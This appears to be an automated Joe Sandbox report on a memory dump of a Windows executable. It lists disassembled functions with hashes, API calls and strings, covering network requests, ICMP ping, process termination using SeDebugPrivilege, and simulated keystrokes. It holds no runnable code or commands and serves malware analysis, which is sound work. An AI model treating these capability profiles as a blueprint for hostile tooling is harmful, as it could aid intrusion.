Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: f135db23b9c09591f1a365109053304a5281a2d4d809f0e26e3d156768c0c022
Instruction ID: d1b404af06126d7a71fa56de53c2b067b551c47ffdcd0e2d3ac908411c2ffa36
Opcode Fuzzy Hash: f135db23b9c09591f1a365109053304a5281a2d4d809f0e26e3d156768c0c022
Instruction Fuzzy Hash: C3918E75608205EFE720DF15C488F6ABBE2AF44318F1486A9F5698B7A2C774EC41CF91

Function 006F8CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 006F8CF3

Part of subcall function 006D8E54: _wcslen.LIBCMT ref: 006D8E77

_wcslen.LIBCMT ref: 006F8D4E
_wcslen.LIBCMT ref: 006F8D9C
_wcslen.LIBCMT ref: 006F8DDC
_wcslen.LIBCMT ref: 006F8E6E

Strings

stdcall, xrefs: 006F8DD6, 006F8DDB
cdecl, xrefs: 006F8D48, 006F8D4D
none, xrefs: 006F8E65, 006F8E6A
winapi, xrefs: 006F8D96, 006F8D9B

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: b61a649eb86b0846f53e913e0a36edb375c92a6729bcc895bbb516ab15cda69e
Instruction ID: b0d4fb03cef16580cd8028ebff4218d2a3d975d9bd7987a602127c064e313e1b
Opcode Fuzzy Hash: b61a649eb86b0846f53e913e0a36edb375c92a6729bcc895bbb516ab15cda69e
Instruction Fuzzy Hash: 6B519E32A0451A9FCF24DF68C9518FEB7A7AF64320B2042A9E626E7385DB34DD41C790

Function 006E8195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 006E8257
SystemTimeToFileTime.KERNEL32(?,?), ref: 006E8267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 006E8273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 006E8310
SetCurrentDirectoryW.KERNEL32(?), ref: 006E8324
SetCurrentDirectoryW.KERNEL32(?), ref: 006E8356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 006E838C
SetCurrentDirectoryW.KERNEL32(?), ref: 006E8395

Strings

*.*, xrefs: 006E839B

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 8b8de0d4136bbafba370b92f13ddcedf7fdb087948877f7ac7b0fa76c5a5177c
Instruction ID: b853d72387f06cd189d779f5f7453ed9a5d1df8741c063e7a422ef5aad83057c
Opcode Fuzzy Hash: 8b8de0d4136bbafba370b92f13ddcedf7fdb087948877f7ac7b0fa76c5a5177c
Instruction Fuzzy Hash: DD6199B25043459FDB10EF60C8409AEB3EAFF89310F04892EF989D7251EB35E905CB96

Function 006A2C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006A2C94

Part of subcall function 006A29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,006AD7D1,00000000,00000000,00000000,00000000,?,006AD7F8,00000000,00000007,00000000,?,006ADBF5,00000000), ref: 006A29DE
Part of subcall function 006A29C8: GetLastError.KERNEL32(00000000,?,006AD7D1,00000000,00000000,00000000,00000000,?,006AD7F8,00000000,00000007,00000000,?,006ADBF5,00000000,00000000), ref: 006A29F0

_free.LIBCMT ref: 006A2CA0
_free.LIBCMT ref: 006A2CAB
_free.LIBCMT ref: 006A2CB6
_free.LIBCMT ref: 006A2CC1
_free.LIBCMT ref: 006A2CCC
_free.LIBCMT ref: 006A2CD7
_free.LIBCMT ref: 006A2CE2
_free.LIBCMT ref: 006A2CED
_free.LIBCMT ref: 006A2CFB

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 16eb800bdcc9db27220e0630d8d83e263acc969aadf3040afade471a50d397ef
Instruction ID: 2480636e62e1127ee3153409c0342597b5ae6d768a43d625537857cd2ceee47b
Opcode Fuzzy Hash: 16eb800bdcc9db27220e0630d8d83e263acc969aadf3040afade471a50d397ef
Instruction Fuzzy Hash: DA11B476140109AFCB82FF59D852CDE3BA6BF06B50F4144A8FA485B222D631FE509F95

Function 006EC253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 006EC272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006EC29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 006EC2CA
GetLastError.KERNEL32 ref: 006EC322
SetEvent.KERNEL32(?), ref: 006EC336
InternetCloseHandle.WININET(00000000), ref: 006EC341

Strings

, xrefs: 006EC2BB

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 534321841cdee73a0bd96cbf20d4494e9afd67dbf064f1bc0ad7a32b2873500a
Instruction ID: 6b8dc29ae11dd4f7baabd4194764310d4b09079b7dc793e85ce2b8364c37bc74
Opcode Fuzzy Hash: 534321841cdee73a0bd96cbf20d4494e9afd67dbf064f1bc0ad7a32b2873500a
Instruction Fuzzy Hash: 4231A0B1501344AFD7229F66CC88AAB7BFEEB49760F14861DF446D3200DB34DD069B65

Function 006D209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 006D20AB
GetClassNameW.USER32(00000000,?,00000100), ref: 006D20C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 006D214D

Strings

details, xrefs: 006D20FB
smallicons, xrefs: 006D2115
largeicons, xrefs: 006D20E1
SHELLDLL_DefView, xrefs: 006D20CC
list, xrefs: 006D212F

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: b41218cc65bf28b62434a9ab74909b6c7e2e0f6123a34fe110dccd862d7c2bd5
Instruction ID: 68ed46c8bfa399d94d3b2bc990430dafc8b527ab5ceaa0c4279dfb5e14adf831
Opcode Fuzzy Hash: b41218cc65bf28b62434a9ab74909b6c7e2e0f6123a34fe110dccd862d7c2bd5
Instruction Fuzzy Hash: 6D110AB6A84707B9FA112221DC17DE6779DCF25724F20821BF704A52D2EE6558435618

Function 006ACE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 006ACEB7
_free.LIBCMT ref: 006ACF22
_free.LIBCMT ref: 006ACF48
_free.LIBCMT ref: 006ACF71
_free.LIBCMT ref: 006ACFA9
_free.LIBCMT ref: 006ACFDA
_free.LIBCMT ref: 006AD01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 006AD09C
_free.LIBCMT ref: 006AD0B5

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 1ba372850e5a2ebedbd1d98db4db577bb0a81392b140a250e39804d6a0edd44c
Instruction ID: a5c455049e7455b1a96b77c536fd450dc88ee893fd5376cb2bc9e6dd28625f22
Opcode Fuzzy Hash: 1ba372850e5a2ebedbd1d98db4db577bb0a81392b140a250e39804d6a0edd44c
Instruction Fuzzy Hash: 4E6159B2A04301AFDF21BFB89851AAA7B97AF03730F04416EFA5597381D7359D018FA5

Function 00688B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 006C6890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 006C68A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 006C68B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 006C68D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 006C68F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00688874,00000000,00000000,00000000,000000FF,00000000), ref: 006C6901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 006C691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00688874,00000000,00000000,00000000,000000FF,00000000), ref: 006C692D

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 83eee9bb4338ece1ca243d5ade8f9222c247673d17612b82696b385c777376f1
Instruction ID: 11c1b7d6e4c4fd7440daaefc27349bbe68ec01c10865dc60e74c4faa74f3f2c3
Opcode Fuzzy Hash: 83eee9bb4338ece1ca243d5ade8f9222c247673d17612b82696b385c777376f1
Instruction Fuzzy Hash: 73518A70600209EFDB20EF24CC95FAA7BB6FB98750F10861CF906972A0DB75E991DB54

Function 006EC143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 006EC182
GetLastError.KERNEL32 ref: 006EC195
SetEvent.KERNEL32(?), ref: 006EC1A9

Part of subcall function 006EC253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 006EC272
Part of subcall function 006EC253: GetLastError.KERNEL32 ref: 006EC322
Part of subcall function 006EC253: SetEvent.KERNEL32(?), ref: 006EC336
Part of subcall function 006EC253: InternetCloseHandle.WININET(00000000), ref: 006EC341

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 4bde984bd5a0a5102e1fa382b73acccb489b9f2b38515589985090938373ffef
Instruction ID: 3f852aab8c719eeacf9336fcba470bb4d767cc59c85f59e8b132b2dc38c49155
Opcode Fuzzy Hash: 4bde984bd5a0a5102e1fa382b73acccb489b9f2b38515589985090938373ffef
Instruction Fuzzy Hash: 7E31A371101781EFDB219FA6DC04AA6BBFAFF14320B00861DFA5683610DB34E9169B64

Function 006D25A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 006D3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 006D3A57
Part of subcall function 006D3A3D: GetCurrentThreadId.KERNEL32 ref: 006D3A5E
Part of subcall function 006D3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,006D25B3), ref: 006D3A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 006D25BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 006D25DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 006D25DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 006D25E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 006D2601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 006D2605
MapVirtualKeyW.USER32(00000025,00000000), ref: 006D260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 006D2623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 006D2627

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 42bcdcc8216e6f440b01744f77bfa3ac36723d3d482e0630b665d0cd65ee62ee
Instruction ID: 78124d093e3c95c5c994b836859b608e8672a83bf00d1a3de96a0930037dff10
Opcode Fuzzy Hash: 42bcdcc8216e6f440b01744f77bfa3ac36723d3d482e0630b665d0cd65ee62ee
Instruction Fuzzy Hash: 5301D870790214FBFB2167689C8AF593F59DB5EB11F104246F314AF1D1CDE258448AAE

Function 006FA0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 006DD4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 006DD501
Part of subcall function 006DD4DC: Process32FirstW.KERNEL32(00000000,?), ref: 006DD50F
Part of subcall function 006DD4DC: CloseHandle.KERNEL32(00000000), ref: 006DD5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 006FA16D
GetLastError.KERNEL32 ref: 006FA180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 006FA1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 006FA268
GetLastError.KERNEL32(00000000), ref: 006FA273
CloseHandle.KERNEL32(00000000), ref: 006FA2C4

Strings

SeDebugPrivilege, xrefs: 006FA18F

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: b63b76156d641080ffb7930d799455b8103ac52e8299e6aae97cf7642896fe16
Instruction ID: 5aff731c2cb228ab64cf7577421d54f0aa21ffd12b1a4c9f7018611e4f2106aa
Opcode Fuzzy Hash: b63b76156d641080ffb7930d799455b8103ac52e8299e6aae97cf7642896fe16
Instruction Fuzzy Hash: 7D61B0B02042429FD710DF58C494F69BBE2AF44318F18C58CE56A4B7A3C776ED45CB96

Function 00692D20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00692D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00692D53
_ValidateLocalCookies.LIBCMT ref: 00692DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00692E0C
_ValidateLocalCookies.LIBCMT ref: 00692E61

Strings

csm, xrefs: 00692DF6
&Hi, xrefs: 00692DFE, 00692E07, 00692E18

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: &Hi$csm
API String ID: 1170836740-3182968335
Opcode ID: 909f681e87e1e587ee92a4b9eb82afdf5526e11797724bdb8d726598732fcb99
Instruction ID: 3205d1a90cf8b17c2e74eb8b6ecceb0443587f409363a963727d850fb2be1d8c
Opcode Fuzzy Hash: 909f681e87e1e587ee92a4b9eb82afdf5526e11797724bdb8d726598732fcb99
Instruction Fuzzy Hash: A941A434A0121AABCF10DF68C855ADEBBBABF44324F148159E8146B792D7359A45CBD0

Function 006DC874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 006DC913

Strings

blank, xrefs: 006DC895
info, xrefs: 006DC8B4
warning, xrefs: 006DC8FC
question, xrefs: 006DC8CC
stop, xrefs: 006DC8E4

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: e9d624c311c0e71f7b73fe18215acae04106180f67581b12c18cb07225661f46
Instruction ID: 52e4f56932625c58140859cf7a9a9701aba3c97470f322aa8a4e4dc35698d684
Opcode Fuzzy Hash: e9d624c311c0e71f7b73fe18215acae04106180f67581b12c18cb07225661f46
Instruction Fuzzy Hash: AA110D31E8930FBAEB015B55DC93CEA679DDF15374B50412FF504AA382EF745D029268

Function 006DED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 006DED2A
_wcslen.LIBCMT ref: 006DED3B
_wcslen.LIBCMT ref: 006DED79
_wcslen.LIBCMT ref: 006DEDAF
_wcslen.LIBCMT ref: 006DEDDF
_wcslen.LIBCMT ref: 006DEDEF
_wcslen.LIBCMT ref: 006DEE2B
_wcslen.LIBCMT ref: 006DEE5A

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 93a89ff810cfe9e4dbb9530c6e21bfcad32dad85b7d329cf7135e2ac6aefaef2
Instruction ID: 6f74209bb422ebd463b90c110a7ff70d944093fd40f6959a18d3bd15cc6144fb
Opcode Fuzzy Hash: 93a89ff810cfe9e4dbb9530c6e21bfcad32dad85b7d329cf7135e2ac6aefaef2
Instruction Fuzzy Hash: DD418E65C1021865CF51EBB4C88A9CFB7AEAF45710F50856BF518E3622EB34E345C3E9

Function 00702D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00702D1B
GetDC.USER32(00000000), ref: 00702D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00702D2E
ReleaseDC.USER32(00000000,00000000), ref: 00702D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00702D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00702D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00705A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00702DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00702DE1

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 5c46a6ed5478c71badfeb5d148e0a94dbef7f655205e1987a8c25bde12ca5f6f
Instruction ID: 18cb79cbd0deb4d6c4d8faab1d6acae193abd08c1e2e90dfddf28b907ba514ef
Opcode Fuzzy Hash: 5c46a6ed5478c71badfeb5d148e0a94dbef7f655205e1987a8c25bde12ca5f6f
Instruction Fuzzy Hash: DE316D72201214BBEB254F50CC89FEB3BADEB09715F048255FE089A2D1CA799C51C7A4

Function 006F4FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 006F5007
NULL Pointer assignment, xrefs: 006F502E, 006F5383

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: ee36ebaf0493c4c71366a1f70d3bc9747e75f8528cee974beb397e550a244992
Instruction ID: 71a0a4d318dd0594008c0298ac2c4c7607c3ed9f5874e6f9424cdcab5b8d76f8
Opcode Fuzzy Hash: ee36ebaf0493c4c71366a1f70d3bc9747e75f8528cee974beb397e550a244992
Instruction Fuzzy Hash: 5AD18071A0060AAFDB14DF98C881BFEB7B6BF48344F148169EA16AB281E771DD45CB50

Function 006F4523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006F4648
VariantInit.OLEAUT32(?), ref: 006F4749
